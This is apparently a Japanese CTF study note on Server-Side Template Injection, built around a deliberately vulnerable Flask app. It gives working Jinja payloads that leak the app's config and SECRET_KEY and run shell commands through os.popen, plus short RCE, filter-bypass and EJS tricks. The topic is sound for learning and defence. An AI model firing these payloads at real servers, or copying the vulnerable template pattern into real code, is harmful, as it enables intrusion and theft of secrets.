Server-Side Template Injection
ユーザーの入力をサーバーが描画するテンプレート自体に注入できてしまう脆弱性のこと
例
code:server.py
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.get("/hello")
def hello():
name = request.args.get("name", "Noname")
return render_template_string("Hello " + name)
if __name__ == "__main__":
app.run()
/hello?name=hogeでHello hogeというレスポンスが返ってくる
描画するテンプレートにユーザーの入力(name)がそのまま反映されていることに注目する
/hello?name={{7*7}}にアクセスすると、Hello 49というレスポンスが返ってくる
{{と}}はFlaskで使っているテンプレートエンジンJinjaの構文
7*7が計算されてしまっている
/hello?name={{config}}にアクセスすると、以下のようなレスポンスが返ってくる
code:response
Hello <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'THIS_IS_SECRET', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
Flaskのテンプレート内ではconfigにアクセスできる
SECRET_KEYの中身であるTHIS_IS_SECRETが漏洩してしまっている
/hello?name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
code:response
Hello uid=1000(satoooon) gid=1000(satoooon) groups=1000(satoooon)
idコマンドが実行されてしまっている
テンプレート内では属性へのアクセスや関数の呼び出しもできるので、頑張ればRCEができる テクニック
Python
Flask固有
request.args
/?a=hogehogeとすれば、request.args.aにhogehogeが入る
request.cookiesなどもある
コードゴルフやFilter bypassに
config.update
config.update(a=request)でconfig.aにrequestが永続的に格納される
次のリクエストでも有効
config.update(a=config.a.application)のようにアクセスしていけば目的のオブジェクトに辿り着ける
Jinja
lipsum.__globals__.os.popen("id")でRCEできる
多分これが一番短いと思います
{{と}}が制限されている場合
{% set a=b %}などの他の構文が使える
{% include %}
Payloadを分割して、includeで繋ぎ合わせることで文字数を短縮できる JavaScript
ejs.renderは引数を省略するとデータと同時にオプションも指定できてしまう
hxp ctf 2022 - valentine
this.constructor.constructor("return process").mainModule.requireをよく使う
Go
ACSC 2023 - easyssti TODO
Java
Perl
Template toolkit
TODO: justCTF Piggy
資料